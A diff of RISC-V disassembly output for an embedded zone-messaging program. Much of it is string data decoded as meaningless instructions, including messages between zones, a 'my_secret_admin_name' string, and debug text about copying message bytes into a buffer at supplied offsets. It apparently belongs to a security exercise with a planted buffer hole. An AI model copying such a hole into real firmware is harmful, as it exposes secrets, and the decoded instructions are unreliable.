+2040407e:	7341                	lui	t1,0xffff0
+20404080:	7320                	flw	fs0,96(a4)
+20404082:	6375                	lui	t1,0x1d
+20404084:	2c68                	fld	fa0,216(s0)
+20404086:	7520                	flw	fs0,104(a0)
+20404088:	6f206573          	csrrsi	a0,0x6f2,0
+2040408c:	2066                	fld	ft0,88(sp)
+2040408e:	6874                	flw	fa3,84(s0)
+20404090:	7369                	lui	t1,0xffffa
+20404092:	7320                	flw	fs0,96(a4)
+20404094:	7774666f          	jal	a2,2044b00a <_data_lma+0x46aea>
+20404098:	7261                	lui	tp,0xffff8
+2040409a:	2065                	jal	20404142 <_exit+0x550>
+2040409c:	7369                	lui	t1,0xffffa
+2040409e:	6720                	flw	fs0,72(a4)
+204040a0:	7265766f          	jal	a2,2045b7c6 <_data_lma+0x572a6>
+204040a4:	656e                	flw	fa0,216(sp)
+204040a6:	2064                	fld	fs1,192(s0)
+204040a8:	7962                	flw	fs2,56(sp)
+204040aa:	7420                	flw	fs0,104(s0)
+204040ac:	6568                	flw	fa0,76(a0)
+204040ae:	4520                	lw	s0,72(a0)
+204040b0:	6176                	flw	ft2,92(sp)
+204040b2:	756c                	flw	fa1,108(a0)
+204040b4:	7461                	lui	s0,0xffff8
+204040b6:	6f69                	lui	t5,0x1a
+204040b8:	206e                	fld	ft0,216(sp)
+204040ba:	2020                	fld	fs0,64(s0)
+204040bc:	0a20                	addi	s0,sp,280
+204040be:	0000                	unimp
+204040c0:	694c                	flw	fa1,20(a0)
+204040c2:	736e6563          	bltu	t3,s6,204047ec <_data_lma+0x2cc>
+204040c6:	2e65                	jal	2040447e <__sf_fake_stdout+0x12>
+204040c8:	5420                	lw	s0,104(s0)
+204040ca:	6568                	flw	fa0,76(a0)
+204040cc:	6572                	flw	fa0,28(sp)
+204040ce:	6d20                	flw	fs0,88(a0)
+204040d0:	7961                	lui	s2,0xffff8
+204040d2:	6220                	flw	fs0,64(a2)
+204040d4:	2065                	jal	2040417c <_exit+0x58a>
+204040d6:	6568746f          	jal	s0,2048b72c <_data_lma+0x8720c>
+204040da:	2072                	fld	ft0,280(sp)
+204040dc:	7566                	flw	fa0,120(sp)
+204040de:	636e                	flw	ft6,216(sp)
+204040e0:	6974                	flw	fa3,84(a0)
+204040e2:	6c616e6f          	jal	t3,2041a7a8 <_data_lma+0x16288>
+204040e6:	6c20                	flw	fs0,88(s0)
+204040e8:	6d69                	lui	s10,0x1a
+204040ea:	7469                	lui	s0,0xffffa
+204040ec:	7461                	lui	s0,0xffff8
+204040ee:	6f69                	lui	t5,0x1a
+204040f0:	736e                	flw	ft6,248(sp)
+204040f2:	6120                	flw	fs0,64(a0)
+204040f4:	65642073          	csrs	0x656,s0
+204040f8:	69726373          	csrrsi	t1,0x697,4
+204040fc:	6562                	flw	fa0,24(sp)
+204040fe:	2064                	fld	fs1,192(s0)
+20404100:	6e69                	lui	t3,0x1a
+20404102:	2020                	fld	fs0,64(s0)
+20404104:	0a20                	addi	s0,sp,280
+20404106:	0000                	unimp
+20404108:	6874                	flw	fa3,84(s0)
+2040410a:	2065                	jal	204041b2 <_exit+0x5c0>
+2040410c:	7665                	lui	a2,0xffff9
+2040410e:	6c61                	lui	s8,0x18
+20404110:	6175                	addi	sp,sp,368
+20404112:	6974                	flw	fa3,84(a0)
+20404114:	53206e6f          	jal	t3,2040a646 <_data_lma+0x6126>
+20404118:	4b44                	lw	s1,20(a4)
+2040411a:	6420                	flw	fs0,72(s0)
+2040411c:	6d75636f          	jal	t1,2045aff2 <_data_lma+0x56ad2>
+20404120:	6e65                	lui	t3,0x19
+20404122:	6174                	flw	fa3,68(a0)
+20404124:	6974                	flw	fa3,84(a0)
+20404126:	202e6e6f          	jal	t3,204ea328 <_data_lma+0xe5e08>
+2040412a:	6854                	flw	fa3,20(s0)
+2040412c:	2065                	jal	204041d4 <_exit+0x5e2>
+2040412e:	6d6d6f63          	bltu	s10,s6,2040480c <_data_lma+0x2ec>
+20404132:	7265                	lui	tp,0xffff9
+20404134:	6c616963          	bltu	sp,t1,20404806 <_data_lma+0x2e6>
+20404138:	7620                	flw	fs0,104(a2)
+2040413a:	7265                	lui	tp,0xffff9
+2040413c:	6e6f6973          	csrrsi	s2,0x6e6,30
+20404140:	6f20                	flw	fs0,88(a4)
+20404142:	2066                	fld	ft0,88(sp)
+20404144:	6874                	flw	fa3,84(s0)
+20404146:	2065                	jal	204041ee <_exit+0x5fc>
+20404148:	2020                	fld	fs0,64(s0)
+2040414a:	2020                	fld	fs0,64(s0)
+2040414c:	0a20                	addi	s0,sp,280
+2040414e:	0000                	unimp
+20404150:	74666f73          	csrrsi	t5,0x746,12
+20404154:	65726177          	0x65726177
+20404158:	6420                	flw	fs0,72(s0)
+2040415a:	2073656f          	jal	a0,2043ab60 <_data_lma+0x36640>
+2040415e:	6f6e                	flw	ft10,216(sp)
+20404160:	2074                	fld	fa3,192(s0)
+20404162:	6168                	flw	fa0,68(a0)
+20404164:	6576                	flw	fa0,92(sp)
+20404166:	7420                	flw	fs0,104(s0)
+20404168:	6568                	flw	fa0,76(a0)
+2040416a:	72206573          	csrrsi	a0,0x722,0
+2040416e:	7365                	lui	t1,0xffff9
+20404170:	7274                	flw	fa3,100(a2)
+20404172:	6369                	lui	t1,0x1a
+20404174:	6974                	flw	fa3,84(a0)
+20404176:	2e736e6f          	jal	t3,2043ac5c <_data_lma+0x3673c>
+2040417a:	2020                	fld	fs0,64(s0)
+2040417c:	2020                	fld	fs0,64(s0)
+2040417e:	2020                	fld	fs0,64(s0)
+20404180:	2020                	fld	fs0,64(s0)
+20404182:	2020                	fld	fs0,64(s0)
+20404184:	2020                	fld	fs0,64(s0)
+20404186:	2020                	fld	fs0,64(s0)
+20404188:	2020                	fld	fs0,64(s0)
+2040418a:	2020                	fld	fs0,64(s0)
+2040418c:	2020                	fld	fs0,64(s0)
+2040418e:	2020                	fld	fs0,64(s0)
+20404190:	2020                	fld	fs0,64(s0)
+20404192:	2020                	fld	fs0,64(s0)
+20404194:	0a20                	addi	s0,sp,280
+20404196:	0000                	unimp
+20404198:	0d0a                	slli	s10,s10,0x2
+2040419a:	325a                	fld	ft4,432(sp)
+2040419c:	3e20                	fld	fs0,120(a2)
+2040419e:	0020                	addi	s0,sp,8
+204041a0:	6d7a                	flw	fs10,156(sp)
+204041a2:	3e2d                	jal	20403cdc <_exit+0xea>
+204041a4:	6164                	flw	fs1,68(a0)
+204041a6:	6174                	flw	fa3,68(a0)
+204041a8:	203a                	fld	ft0,392(sp)
+204041aa:	7325                	lui	t1,0xfffe9
+204041ac:	000a                	c.slli	zero,0x2
+204041ae:	0000                	unimp
+204041b0:	726f7453          	0x726f7453
+204041b4:	6e69                	lui	t3,0x1a
+204041b6:	76722067          	0x76722067
+204041ba:	7620                	flw	fs0,104(a2)
+204041bc:	6c61                	lui	s8,0x18
+204041be:	6575                	lui	a0,0x1d
+204041c0:	6920                	flw	fs0,80(a0)
+204041c2:	206e                	fld	ft0,216(sp)
+204041c4:	6d7a                	flw	fs10,156(sp)
+204041c6:	3e2d                	jal	20403d00 <_exit+0x10e>
+204041c8:	6164                	flw	fs1,68(a0)
+204041ca:	6174                	flw	fa3,68(a0)
+204041cc:	000a                	c.slli	zero,0x2
+204041ce:	0000                	unimp
+204041d0:	646e6553          	0x646e6553
+204041d4:	6e69                	lui	t3,0x1a
+204041d6:	65722067          	0x65722067
+204041da:	6e6f7073          	csrci	0x6e6,30
+204041de:	74206573          	csrrsi	a0,0x742,0
+204041e2:	6f7a206f          	j	204a70d8 <_data_lma+0xa2bb8>
+204041e6:	656e                	flw	fa0,216(sp)
+204041e8:	3120                	fld	fs0,96(a0)
+204041ea:	2d20                	fld	fs0,88(a0)
+204041ec:	7220                	flw	fs0,96(a2)
+204041ee:	3d76                	fld	fs10,376(sp)
+204041f0:	253d                	jal	2040481e <_data_lma+0x2fe>
+204041f2:	0a75                	addi	s4,s4,29
+204041f4:	0000                	unimp
+204041f6:	0000                	unimp
+204041f8:	654d                	lui	a0,0x13
+204041fa:	67617373          	csrrci	t1,0x676,2
+204041fe:	2065                	jal	204042a6 <_exit+0x6b4>
+20404200:	746e6573          	csrrsi	a0,0x746,28
+20404204:	7420                	flw	fs0,104(s0)
+20404206:	6f7a206f          	j	204a70fc <_data_lma+0xa2bdc>
+2040420a:	656e                	flw	fa0,216(sp)
+2040420c:	3220                	fld	fs0,96(a2)
+2040420e:	000a                	c.slli	zero,0x2
+20404210:	6552                	flw	fa0,20(sp)
+20404212:	76696563          	bltu	s2,t1,2040497c <_data_lma+0x45c>
+20404216:	6465                	lui	s0,0x19
+20404218:	6120                	flw	fs0,64(a0)
+2040421a:	5a20                	lw	s0,112(a2)
+2040421c:	4d656e6f          	jal	t3,2045a6f2 <_data_lma+0x561d2>
+20404220:	7365                	lui	t1,0xffff9
+20404222:	65676173          	csrrsi	sp,0x656,14
+20404226:	6920                	flw	fs0,80(a0)
+20404228:	206e                	fld	ft0,216(sp)
+2040422a:	6f7a                	flw	ft10,156(sp)
+2040422c:	656e                	flw	fa0,216(sp)
+2040422e:	3220                	fld	fs0,96(a2)
+20404230:	6620                	flw	fs0,72(a2)
+20404232:	6f72                	flw	ft10,28(sp)
+20404234:	206d                	jal	204042de <_exit+0x6ec>
+20404236:	6f7a                	flw	ft10,156(sp)
+20404238:	656e                	flw	fa0,216(sp)
+2040423a:	3220                	fld	fs0,96(a2)
+2040423c:	202e                	fld	ft0,200(sp)
+2040423e:	6e49                	lui	t3,0x12
+20404240:	6574                	flw	fa3,76(a0)
+20404242:	646e                	flw	fs0,216(sp)
+20404244:	6465                	lui	s0,0x19
+20404246:	00000a3f 796d0000 	0x796d000000000a3f
+2040424e:	735f 6365 6572      	0x65726365735f
+20404254:	5f74                	lw	a3,124(a4)
+20404256:	6461                	lui	s0,0x18
+20404258:	696d                	lui	s2,0x1b
+2040425a:	5f6e                	lw	t5,248(sp)
+2040425c:	616e                	flw	ft2,216(sp)
+2040425e:	656d                	lui	a0,0x1b
+20404260:	0000                	unimp
+20404262:	0000                	unimp
+20404264:	7254                	flw	fa3,36(a2)
+20404266:	6e61                	lui	t3,0x18
+20404268:	73696d73          	csrrsi	s10,0x736,18
+2040426c:	6e6f6973          	csrrsi	s2,0x6e6,30
+20404270:	004c                	addi	a1,sp,4
+20404272:	0000                	unimp
+20404274:	6970                	flw	fa2,84(a0)
+20404276:	676e                	flw	fa4,216(sp)
+20404278:	0000                	unimp
+2040427a:	0000                	unimp
+2040427c:	6f70                	flw	fa2,92(a4)
+2040427e:	676e                	flw	fa4,216(sp)
+20404280:	0000                	unimp
+20404282:	0000                	unimp
+20404284:	5a0d                	li	s4,-29
+20404286:	6425                	lui	s0,0x9
+20404288:	3e20                	fld	fs0,120(a2)
+2040428a:	2520                	fld	fs0,72(a0)
+2040428c:	000a2073          	csrs	ustatus,s4
+20404290:	5a0d                	li	s4,-29
+20404292:	2032                	fld	ft0,264(sp)
+20404294:	203e                	fld	ft0,456(sp)
+20404296:	7325                	lui	t1,0xfffe9
+20404298:	0000                	unimp
+2040429a:	0000                	unimp
+2040429c:	6572                	flw	fa0,28(sp)
+2040429e:	76696563          	bltu	s2,t1,20404a08 <_data_lma+0x4e8>
+204042a2:	6465                	lui	s0,0x19
+204042a4:	6120                	flw	fs0,64(a0)
+204042a6:	5a20                	lw	s0,112(a2)
+204042a8:	2d4d                	jal	2040495a <_data_lma+0x43a>
+204042aa:	6548                	flw	fa0,12(a0)
+204042ac:	6461                	lui	s0,0x18
+204042ae:	7265                	lui	tp,0xffff9
+204042b0:	6d20                	flw	fs0,88(a0)
+204042b2:	7365                	lui	t1,0xffff9
+204042b4:	25203a67          	0x25203a67
+204042b8:	32302573          	csrr	a0,mhpmevent3
+204042bc:	0a75                	addi	s4,s4,29
+204042be:	0000                	unimp
+204042c0:	6544                	flw	fs1,12(a0)
+204042c2:	69726573          	csrrsi	a0,0x697,4
+204042c6:	6c61                	lui	s8,0x18
+204042c8:	7a69                	lui	s4,0xffffa
+204042ca:	6465                	lui	s0,0x19
+204042cc:	7420                	flw	fs0,104(s0)
+204042ce:	6568                	flw	fa0,76(a0)
+204042d0:	5a20                	lw	s0,112(a2)
+204042d2:	2d4d                	jal	20404984 <_data_lma+0x464>
+204042d4:	6548                	flw	fa0,12(a0)
+204042d6:	6461                	lui	s0,0x18
+204042d8:	7265                	lui	tp,0xffff9
+204042da:	6d20                	flw	fs0,88(a0)
+204042dc:	7365                	lui	t1,0xffff9
+204042de:	00000a67          	jalr	s4,zero # 0 <__stack_size-0x800>
+204042e2:	0000                	unimp
+204042e4:	69726553          	0x69726553
+204042e8:	6c61                	lui	s8,0x18
+204042ea:	7a69                	lui	s4,0xffffa
+204042ec:	6e69                	lui	t3,0x1a
+204042ee:	69762067          	0x69762067
+204042f2:	2061                	jal	2040437a <_exit+0x788>
+204042f4:	7566                	flw	fa0,120(sp)
+204042f6:	636e                	flw	ft6,216(sp)
+204042f8:	6974                	flw	fa3,84(a0)
+204042fa:	63206e6f          	jal	t3,2040a92c <_data_lma+0x640c>
+204042fe:	6c61                	lui	s8,0x18
+20404300:	0a6c                	addi	a1,sp,284
+20404302:	0000                	unimp
+20404304:	69726553          	0x69726553
+20404308:	6c61                	lui	s8,0x18
+2040430a:	7a69                	lui	s4,0xffffa
+2040430c:	7461                	lui	s0,0xffff8
+2040430e:	6f69                	lui	t5,0x1a
+20404310:	206e                	fld	ft0,216(sp)
+20404312:	63637573          	csrrci	a0,0x636,6
+20404316:	7365                	lui	t1,0xffff9
+20404318:	6c756673          	csrrsi	a2,0x6c7,10
+2040431c:	000a                	c.slli	zero,0x2
+2040431e:	0000                	unimp
+20404320:	6e69                	lui	t3,0x1a
+20404322:	7320                	flw	fs0,96(a4)
+20404324:	6365                	lui	t1,0x19
+20404326:	20646e6f          	jal	t3,2044a52c <_data_lma+0x4600c>
+2040432a:	6669                	lui	a2,0x1a
+2040432c:	7320                	flw	fs0,96(a4)
+2040432e:	65706f63          	bltu	zero,s7,2040498c <_data_lma+0x46c>
+20404332:	000a                	c.slli	zero,0x2
+20404334:	6564                	flw	fs1,76(a0)
+20404336:	72616c63          	bltu	sp,t1,20404a6e <_data_lma+0x54e>
+2040433a:	6465                	lui	s0,0x19
+2040433c:	6420                	flw	fs0,72(s0)
+2040433e:	6762                	flw	fa4,24(sp)
+20404340:	000a                	c.slli	zero,0x2
+20404342:	0000                	unimp
+20404344:	7341                	lui	t1,0xffff0
+20404346:	6e676973          	csrrsi	s2,0x6e6,14
+2040434a:	6465                	lui	s0,0x19
+2040434c:	2220                	fld	fs0,64(a2)
+2040434e:	2241                	jal	204044ce <__sf_fake_stdout+0x62>
+20404350:	7420                	flw	fs0,104(s0)
+20404352:	6264206f          	j	20446978 <_data_lma+0x42458>
+20404356:	00000a67          	jalr	s4,zero # 0 <__stack_size-0x800>
+2040435a:	0000                	unimp
+2040435c:	79706f43          	fmadd.s	ft10,ft0,fs7,fa5,unknown
+20404360:	6e69                	lui	t3,0x1a
+20404362:	6e692067          	0x6e692067
+20404366:	6f74                	flw	fa3,92(a4)
+20404368:	6420                	flw	fs0,72(s0)
+2040436a:	6762                	flw	fa4,24(sp)
+2040436c:	6220                	flw	fs0,64(a2)
+2040436e:	6675                	lui	a2,0x1d
+20404370:	6566                	flw	fa0,88(sp)
+20404372:	3a72                	fld	fs4,312(sp)
+20404374:	6620                	flw	fs0,72(a2)
+20404376:	6f72                	flw	ft10,28(sp)
+20404378:	206d                	jal	20404422 <_exit+0x830>
+2040437a:	6f70                	flw	fa2,92(a4)
+2040437c:	69746973          	csrrsi	s2,0x697,8
+20404380:	7a206e6f          	jal	t3,2040ab22 <_data_lma+0x6602>
+20404384:	626d                	lui	tp,0x1b
+20404386:	2b20                	fld	fs0,80(a4)
+20404388:	2520                	fld	fs0,72(a0)
+2040438a:	3230                	fld	fa2,96(a2)
+2040438c:	2075                	jal	20404438 <__sf_fake_stderr+0xc>
+2040438e:	3025202b          	0x3025202b
+20404392:	7532                	flw	fa0,44(sp)
+20404394:	7720                	flw	fs0,104(a4)
+20404396:	6972                	flw	fs2,28(sp)
+20404398:	6974                	flw	fa3,84(a0)
+2040439a:	676e                	flw	fa4,216(sp)
+2040439c:	2520                	fld	fs0,72(a0)
+2040439e:	3230                	fld	fa2,96(a2)
+204043a0:	2075                	jal	2040444c <__sf_fake_stdin>
+204043a2:	7942                	flw	fs2,48(sp)
+204043a4:	6574                	flw	fa3,76(a0)
+204043a6:	00000a73          	0xa73
+204043aa:	0000                	unimp
+204043ac:	69726553          	0x69726553
+204043b0:	6c61                	lui	s8,0x18
+204043b2:	7a69                	lui	s4,0xffffa
+204043b4:	6465                	lui	s0,0x19
+204043b6:	6920                	flw	fs0,80(a0)
+204043b8:	746e                	flw	fs0,248(sp)
+204043ba:	5b203a6f          	jal	s4,2040796c <_data_lma+0x344c>
+204043be:	7325                	lui	t1,0xfffe9
+204043c0:	5b5d                	li	s6,-9
+204043c2:	3025                	jal	20403bea <_malloc_usable_size_r+0xc>
+204043c4:	7532                	flw	fa0,44(sp)
+204043c6:	5b5d                	li	s6,-9
+204043c8:	3025                	jal	20403bf0 <_malloc_usable_size_r+0x12>
+204043ca:	7532                	flw	fa0,44(sp)
+204043cc:	0a5d                	addi	s4,s4,23
+204043ce:	0000                	unimp
+204043d0:	69726553          	0x69726553
+204043d4:	6c61                	lui	s8,0x18
+204043d6:	7a69                	lui	s4,0xffffa
+204043d8:	6465                	lui	s0,0x19
+204043da:	6920                	flw	fs0,80(a0)
+204043dc:	746e                	flw	fs0,248(sp)
+204043de:	5b203a6f          	jal	s4,20407990 <_data_lma+0x3470>
+204043e2:	7325                	lui	t1,0xfffe9
+204043e4:	5b5d                	li	s6,-9
+204043e6:	3025                	jal	20403c0e <_exit+0x1c>
+204043e8:	7532                	flw	fa0,44(sp)
+204043ea:	5b5d                	li	s6,-9
+204043ec:	7325                	lui	t1,0xfffe9
+204043ee:	005d                	c.nop	23
+204043f0:	746e6553          	0x746e6553
+204043f4:	203a                	fld	ft0,392(sp)
+204043f6:	7325                	lui	t1,0xfffe9
+204043f8:	3025                	jal	20403c20 <_exit+0x2e>
+204043fa:	7532                	flw	fa0,44(sp)
+204043fc:	000a                	c.slli	zero,0x2
+204043fe:	0000                	unimp
+20404400:	746e6553          	0x746e6553
+20404404:	203a                	fld	ft0,392(sp)
+20404406:	3025                	jal	20403c2e <_exit+0x3c>
+20404408:	7532                	flw	fa0,44(sp)
+2040440a:	000a                	c.slli	zero,0x2
+2040440c:	746e6553          	0x746e6553
+20404410:	7720                	flw	fs0,104(a4)
+20404412:	6f68                	flw	fa0,92(a4)
+20404414:	656c                	flw	fa1,76(a0)
+20404416:	6d20                	flw	fs0,88(a0)
+20404418:	7365                	lui	t1,0xffff9
+2040441a:	65676173          	csrrsi	sp,0x656,14
+2040441e:	7420                	flw	fs0,104(s0)
+20404420:	6f7a206f          	j	204a7316 <_data_lma+0xa2df6>
+20404424:	656e                	flw	fa0,216(sp)
+20404426:	3120                	fld	fs0,96(a0)
+20404428:	000a                	c.slli	zero,0x2
 	...
 
-20405eec <__sf_fake_stderr>:
+2040442c <__sf_fake_stderr>:
 	...
 
-20405f0c <__sf_fake_stdin>:
+2040444c <__sf_fake_stdin>:
 	...
 
-20405f2c <__sf_fake_stdout>:
+2040446c <__sf_fake_stdout>:
 	...
-20405f4c:	2b302d23          	sw	s3,698(zero) # 2ba <__stack_size-0x546>
-20405f50:	0020                	addi	s0,sp,8
-20405f52:	0000                	unimp
-20405f54:	6c68                	flw	fa0,92(s0)
-20405f56:	004c                	addi	a1,sp,4
-20405f58:	6665                	lui	a2,0x19
-20405f5a:	47464567          	0x47464567
-20405f5e:	0000                	unimp
-20405f60:	3130                	fld	fa2,96(a0)
-20405f62:	3332                	fld	ft6,296(sp)
-20405f64:	3534                	fld	fa3,104(a0)
-20405f66:	3736                	fld	fa4,360(sp)
-20405f68:	3938                	fld	fa4,112(a0)
-20405f6a:	4241                	li	tp,16
-20405f6c:	46454443          	fmadd.q	fs0,fa0,ft4,fs0,rmm
-20405f70:	0000                	unimp
-20405f72:	0000                	unimp
-20405f74:	3130                	fld	fa2,96(a0)
-20405f76:	3332                	fld	ft6,296(sp)
-20405f78:	3534                	fld	fa3,104(a0)
-20405f7a:	3736                	fld	fa4,360(sp)
-20405f7c:	3938                	fld	fa4,112(a0)
-20405f7e:	6261                	lui	tp,0x18
-20405f80:	66656463          	bltu	a0,t1,204065e8 <_data_lma+0x608>
-20405f84:	0000                	unimp
-20405f86:	0000                	unimp
-20405f88:	e33e                	fsw	fa5,132(sp)
-20405f8a:	ffff                	0xffff
-20405f8c:	e354                	fsw	fa3,4(a4)
-20405f8e:	ffff                	0xffff
-20405f90:	e314                	fsw	fa3,0(a4)
-20405f92:	ffff                	0xffff
-20405f94:	e314                	fsw	fa3,0(a4)
-20405f96:	ffff                	0xffff
-20405f98:	e314                	fsw	fa3,0(a4)
-20405f9a:	ffff                	0xffff
-20405f9c:	e314                	fsw	fa3,0(a4)
-20405f9e:	ffff                	0xffff
-20405fa0:	e354                	fsw	fa3,4(a4)
-20405fa2:	ffff                	0xffff
-20405fa4:	e314                	fsw	fa3,0(a4)
-20405fa6:	ffff                	0xffff
-20405fa8:	e314                	fsw	fa3,0(a4)
-20405faa:	ffff                	0xffff
-20405fac:	e314                	fsw	fa3,0(a4)
-20405fae:	ffff                	0xffff
-20405fb0:	e314                	fsw	fa3,0(a4)
-20405fb2:	ffff                	0xffff
-20405fb4:	e4aa                	fsw	fa0,72(sp)
-20405fb6:	ffff                	0xffff
-20405fb8:	e392                	fsw	ft4,196(sp)
-20405fba:	ffff                	0xffff
-20405fbc:	e47c                	fsw	fa5,76(s0)
-20405fbe:	ffff                	0xffff
-20405fc0:	e314                	fsw	fa3,0(a4)
-20405fc2:	ffff                	0xffff
-20405fc4:	e314                	fsw	fa3,0(a4)
-20405fc6:	ffff                	0xffff
-20405fc8:	e4da                	fsw	fs6,72(sp)
-20405fca:	ffff                	0xffff
-20405fcc:	e314                	fsw	fa3,0(a4)
-20405fce:	ffff                	0xffff
-20405fd0:	e392                	fsw	ft4,196(sp)
-20405fd2:	ffff                	0xffff
-20405fd4:	e314                	fsw	fa3,0(a4)
-20405fd6:	ffff                	0xffff
-20405fd8:	e314                	fsw	fa3,0(a4)
-20405fda:	ffff                	0xffff
-20405fdc:	e484                	fsw	fs1,8(s1)
-20405fde:	ffff                	0xffff
+2040448c:	2b302d23          	sw	s3,698(zero) # 2ba <__stack_size-0x546>
+20404490:	0020                	addi	s0,sp,8
+20404492:	0000                	unimp
+20404494:	6c68                	flw	fa0,92(s0)
+20404496:	004c                	addi	a1,sp,4
+20404498:	6665                	lui	a2,0x19
+2040449a:	47464567          	0x47464567
+2040449e:	0000                	unimp
+204044a0:	3130                	fld	fa2,96(a0)
+204044a2:	3332                	fld	ft6,296(sp)
+204044a4:	3534                	fld	fa3,104(a0)
+204044a6:	3736                	fld	fa4,360(sp)
+204044a8:	3938                	fld	fa4,112(a0)
+204044aa:	4241                	li	tp,16
+204044ac:	46454443          	fmadd.q	fs0,fa0,ft4,fs0,rmm
+204044b0:	0000                	unimp
+204044b2:	0000                	unimp
+204044b4:	3130                	fld	fa2,96(a0)
+204044b6:	3332                	fld	ft6,296(sp)
+204044b8:	3534                	fld	fa3,104(a0)
+204044ba:	3736                	fld	fa4,360(sp)
+204044bc:	3938                	fld	fa4,112(a0)
+204044be:	6261                	lui	tp,0x18
+204044c0:	66656463          	bltu	a0,t1,20404b28 <_data_lma+0x608>
+204044c4:	0000                	unimp
+204044c6:	0000                	unimp
+204044c8:	eb46                	fsw	fa7,148(sp)
+204044ca:	ffff                	0xffff
+204044cc:	eb5c                	fsw	fa5,20(a4)
+204044ce:	ffff                	0xffff
+204044d0:	eb1c                	fsw	fa5,16(a4)
+204044d2:	ffff                	0xffff
+204044d4:	eb1c                	fsw	fa5,16(a4)
+204044d6:	ffff                	0xffff
+204044d8:	eb1c                	fsw	fa5,16(a4)
+204044da:	ffff                	0xffff
+204044dc:	eb1c                	fsw	fa5,16(a4)
+204044de:	ffff                	0xffff
+204044e0:	eb5c                	fsw	fa5,20(a4)
+204044e2:	ffff                	0xffff
+204044e4:	eb1c                	fsw	fa5,16(a4)
+204044e6:	ffff                	0xffff
+204044e8:	eb1c                	fsw	fa5,16(a4)
+204044ea:	ffff                	0xffff
+204044ec:	eb1c                	fsw	fa5,16(a4)
+204044ee:	ffff                	0xffff
+204044f0:	eb1c                	fsw	fa5,16(a4)
+204044f2:	ffff                	0xffff
+204044f4:	ecb2                	fsw	fa2,88(sp)
+204044f6:	ffff                	0xffff
+204044f8:	eb9a                	fsw	ft6,212(sp)
+204044fa:	ffff                	0xffff
+204044fc:	ec84                	fsw	fs1,24(s1)
+204044fe:	ffff                	0xffff
+20404500:	eb1c                	fsw	fa5,16(a4)
+20404502:	ffff                	0xffff
+20404504:	eb1c                	fsw	fa5,16(a4)
+20404506:	ffff                	0xffff
+20404508:	ece2                	fsw	fs8,88(sp)
+2040450a:	ffff                	0xffff
+2040450c:	eb1c                	fsw	fa5,16(a4)
+2040450e:	ffff                	0xffff
+20404510:	eb9a                	fsw	ft6,212(sp)
+20404512:	ffff                	0xffff
+20404514:	eb1c                	fsw	fa5,16(a4)
+20404516:	ffff                	0xffff
+20404518:	eb1c                	fsw	fa5,16(a4)
+2040451a:	ffff                	0xffff
+2040451c:	ec8c                	fsw	fa1,24(s1)
+2040451e:	ffff                	0xffff
 
 Disassembly of section .data:
 
-8000d800 <p.5>:
-8000d800:	d9ec                	sw	a1,116(a1)
-8000d802:	8000                	0x8000
-8000d804:	da2c                	sw	a1,112(a2)
-8000d806:	8000                	0x8000
-8000d808:	da6c                	sw	a1,116(a2)
-8000d80a:	8000                	0x8000
-8000d80c:	daac                	sw	a1,112(a3)
-8000d80e:	8000                	0x8000
-
-8000d810 <impure_data>:
-8000d810:	0000                	unimp
-8000d812:	0000                	unimp
-8000d814:	5f0c                	lw	a1,56(a4)
-8000d816:	2040                	fld	fs0,128(s0)
-8000d818:	5f2c                	lw	a1,120(a4)
-8000d81a:	2040                	fld	fs0,128(s0)
-8000d81c:	5eec                	lw	a1,124(a3)
-8000d81e:	2040                	fld	fs0,128(s0)
+8000d800 <impure_data>:
+8000d800:	0000                	unimp
+8000d802:	0000                	unimp
+8000d804:	444c                	lw	a1,12(s0)
+8000d806:	2040                	fld	fs0,128(s0)
+8000d808:	446c                	lw	a1,76(s0)
+8000d80a:	2040                	fld	fs0,128(s0)
+8000d80c:	442c                	lw	a1,72(s0)
+8000d80e:	2040                	fld	fs0,128(s0)
 	...
 
 Disassembly of section .sdata:
 
-8000d870 <_global_impure_ptr>:
-8000d870:	d810                	sw	a2,48(s0)
-8000d872:	8000                	0x8000
-
-8000d874 <h.1>:
-8000d874:	ffff                	0xffff
-8000d876:	ffff                	0xffff
+8000d860 <_global_impure_ptr>:
+8000d860:	d800                	sw	s0,48(s0)
+8000d862:	8000                	0x8000
 
-8000d878 <_heap_ptr.0>:
-8000d878:	e380                	fsw	fs0,0(a5)
-8000d87a:	8000                	0x8000
+8000d864 <admin_name>:
+8000d864:	424c                	lw	a1,4(a2)
+8000d866:	2040                	fld	fs0,128(s0)
 
-8000d87c <_impure_ptr>:
-8000d87c:	d810                	sw	a2,48(s0)
-8000d87e:	8000                	0x8000
+8000d868 <recvBuffer.1>:
+8000d868:	d8d4                	sw	a3,52(s1)
+8000d86a:	8000                	0x8000
+8000d86c:	d914                	sw	a3,48(a0)
+8000d86e:	8000                	0x8000
 
-Disassembly of section .bss:
-
-8000d880 <esc.3>:
-8000d880:	0000                	unimp
-	...
+8000d870 <_heap_ptr.0>:
+8000d870:	e1e0                	fsw	fs0,68(a1)
+8000d872:	8000                	0x8000
 
-8000d884 <p.2>:
-8000d884:	0000                	unimp
-	...
+8000d874 <_impure_ptr>:
+8000d874:	d800                	sw	s0,48(s0)
+8000d876:	8000                	0x8000
 
-8000d888 <_global_atexit>:
-8000d888:	0000                	unimp
-	...
+Disassembly of section .bss:
 
-8000d88c <__malloc_free_list>:
-8000d88c:	0000                	unimp
+8000d878 <__malloc_free_list>:
+8000d878:	0000                	unimp
 	...
 
-8000d890 <__malloc_sbrk_start>:
-8000d890:	0000                	unimp
+8000d87c <__malloc_sbrk_start>:
+8000d87c:	0000                	unimp
 	...
 
-8000d894 <errno>:
-8000d894:	0000                	unimp
+8000d880 <_global_atexit>:
+8000d880:	0000                	unimp
 	...
 
-8000d898 <buffer>:
+8000d884 <errno>:
+8000d884:	0000                	unimp
 	...
 
-8000d8c0 <history.0>:
+8000d888 <buffer>:
 	...
 
-8000d9c8 <inputline>:
+8000d8b0 <inputline>:
 	...
 
-8000d9ec <str.4>:
+8000d8d4 <str.0>:
 	...
 
-8000daec <_global_atexit0>:
+8000d954 <_global_atexit0>:
 	...
 
 Disassembly of section .stack:
 
-8000db80 <__BSS_END__+0x8>:
+8000d9e0 <__BSS_END__>:
 	...
 
 Disassembly of section .heap:
 
-8000e380 <_end>:
+8000e1e0 <_end>:
 	...
 
 Disassembly of section .riscv.attributes:
@@ -7402,7 +5025,7 @@ Disassembly of section .debug_line:
       42:	0203010b          	0x203010b
       46:	0809                	addi	a6,a6,2
       48:	0100                	addi	s0,sp,128
-      4a:	04090303          	lb	t1,64(s2) # ffff8040 <_heap_end+0x7ffe9840>
+      4a:	04090303          	lb	t1,64(s2) # 1b040 <__stack_size+0x1a840>
       4e:	0100                	addi	s0,sp,128
       50:	08090103          	lb	sp,128(s2)
       54:	0100                	addi	s0,sp,128
@@ -7461,9 +5084,9 @@ Disassembly of section .debug_line:
